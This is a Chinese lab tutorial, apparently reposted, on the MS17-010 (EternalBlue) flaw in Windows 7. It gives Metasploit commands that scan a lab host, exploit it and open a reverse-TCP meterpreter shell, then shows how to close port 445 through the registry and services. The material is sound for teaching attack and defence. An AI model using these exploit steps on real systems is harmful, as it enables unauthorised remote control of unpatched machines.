任务1 利用永恒之蓝攻击Win7系统
在Kali终端中输入命令“msfconsole ”，启动Metasploit；输入命令“use auxiliary/scanner/smb/smb_ms17_010”，加载扫描模块；输入命令“set RHOSTS 192.168.0.6”，设置需要被扫描的目标主机地址；输入命令“run”，进行扫描并观察是否存在该漏洞
输入命令“use exploit/windows/smb/ms17_010_eternalblue”，加载攻击模块；输入命令“set RHOSTS 192.168.0.6”，设置目标主机地址；输入命令“set payload windows/x64/meterpreter/reverse_tcp”，设置攻击载荷；输入命令“set LHOST 192.168.0.4”，设置监听主机地址；输入命令“show options”，查看渗透攻击模块和攻击载荷所配置的情况，确保没有错误
输入命令“exploit”，实施攻击，如果攻击成功，我们将得到一个meterpreter
任务2 关闭445端口消除ms17-010漏洞
在Win7中调用“cmd命令行”，输入命令“netstat -an”，来查看下系统当前开放的端口，135、445端口均打开。
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\NetBT\Parameters”，进入NetBT这个服务的相关注册表项
在Parameters这个子项的右侧，点击鼠标右键，“新建”，“QWORD（64位）值”，然后重命名为“SMBDeviceEnabled”，再把这个子键的值改为0。
找到“server服务”，双击进入管理控制页面。把这个服务的启动类型更改为“禁用”，服务状态更改为“停止”，最后点击“应用”按钮
重新启动操作系统发现，445端口已经关闭
再次对该漏洞进行扫描，发现找不到该漏洞了。
文章来源：https://www.toymoban.com/news/detail-447409.html
文章来源地址https://www.toymoban.com/news/detail-447409.html
到了这里，关于MS17-010漏洞攻击与防御（利用永恒之蓝攻击Win7系统）的文章就介绍完了。如果您还想了解更多内容，请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章，希望大家以后多多支持TOY模板网！
